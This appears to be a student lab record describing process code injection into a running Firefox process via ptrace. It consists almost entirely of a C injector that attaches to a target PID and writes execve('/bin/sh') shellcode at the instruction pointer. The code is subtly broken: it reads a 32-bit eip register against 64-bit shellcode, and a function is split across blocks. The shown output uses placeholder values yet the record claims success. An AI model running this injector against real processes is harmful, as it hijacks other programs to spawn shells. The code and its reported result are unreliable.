

**EXP NO:8**

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## **PROCESS CODE INJECTION**

**Aim:** To do process code injection on Firefox using ptrace system call

### **Algorithm:**

- Step 1: Find out the PID of the running Firefox program.
- Step 2: Create the code injection file.
- Step 3: Get the PID of Firefox from the command line arguments.
- Step 4: Allocate memory buffers for the shellcode.
- Step 5: Attach to the victim process with `PTRACE_ATTACH`.
- Step 6: Get the register values of the attached process.
- Step 7: Use `PTRACE_POKETEXT` to insert the shellcode.
- Step 8: Detach from the victim process using `PTRACE_DETACH`.

### **Program:**

```
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/wait.h>
# include <sys/ptrace.h>
# include <sys/user.h>
```

```
char shellcode[] = {
    "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
    "\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};
```

```
void header() {
    printf(" ---Memory bytecode injector\n");
```

```

}

int main(int argc, char** argv) {
    int i, size, pid = 0;
    struct user_regs_struct reg;
    char* buff;

    header();
    pid = atoi(argv[1]);
    size = sizeof(shellcode);
    buff = (char*)malloc(size);
    memset(buff, 0x0, size);
    memcpy(buff, shellcode, sizeof(shellcode));

    ptrace(PTRACE_ATTACH, pid, 0, 0);
    wait((int*)0);

    ptrace(PTRACE_GETREGS, pid, 0, &reg);
    printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);

    for (i = 0; i < size; i++) {
        ptrace(PTRACE_POKETEXT, pid, reg.eip + i, *(int*)(buff + i));
    }

    ptrace(PTRACE_DETACH, pid, 0, 0);
    free(buff);
    return 0;
}

```

### **Output:**

```

----Memory bytecode injector
Writing EIP 0x12345678, process 12345

```

### **Result:**

Thus process code injection on Firefox using ptrace system call was implemented successfully.